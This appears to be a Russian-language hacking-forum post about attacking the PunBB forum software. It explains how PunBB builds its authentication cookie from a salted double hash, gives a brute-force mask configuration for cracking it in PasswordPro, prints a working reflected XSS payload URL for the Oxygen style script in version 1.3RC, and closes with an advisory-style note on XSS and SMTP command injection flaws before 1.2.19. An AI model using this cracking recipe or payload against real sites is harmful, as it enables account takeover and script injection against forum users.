Алгоритм шифрования в куках:
md5($cookie_seed.md5(password))
Пример:
md5($cookie_seed.md5("123"))="beae53ed5f767f344b03646a1aa5b16e"
В состав строгого значения входят символы из ряда "abcdef1234567890".

Схема генерации куков:
md5($cookie_seed.$pun_user['password'])
$pun_user['password'] - sha1() или md5() хеш пароль пользователя.
$cookie_seed - соль ("идентична" для всех пользователей).

Дефолтное значение алгоритма для $cookie_seed(config.php):
function pun_hash($str)
{
if (function_exists('sha1')) // Only in PHP 4.3.0+
return sha1($str);
else if (function_exists('mhash')) // Only if Mhash library is loaded
return bin2hex(mhash(MHASH_SHA1, $str));
else return md5($str);
}
PasswordPro не обладает алгоритмом перебора md5(salt.md5(pass)) поэтому будем использовать метод "перебор по маске":
"Набор символов" для пользовательской маски: ?1: abcdef1234567890
Маска: ?1?1?1?1?1?1?1?1202cb962ac59075b964b07152d234b70
Значение длины: 40-40

UPDATE: PasswordPro теперь имеет соответствующий модуль

XSS в самой последней версии 1.3RC

http://punbb/1.3/style/Oxygen/Oxygen.php?base_url=Oxygen.css" onload=alert()> <!---&forum_user[style]=1

[kremator]

PunBB версии до 1.2.19

Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и обойти некоторые ограничения безопасности.

1. Уязвимость существует из-за недостаточной обработки входных данных в сценарии include/parser.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

2. Уязвимость существует из-за неизвестной ошибки, которая позволяет удаленному пользователю внедрить произвольные SMTP команды.
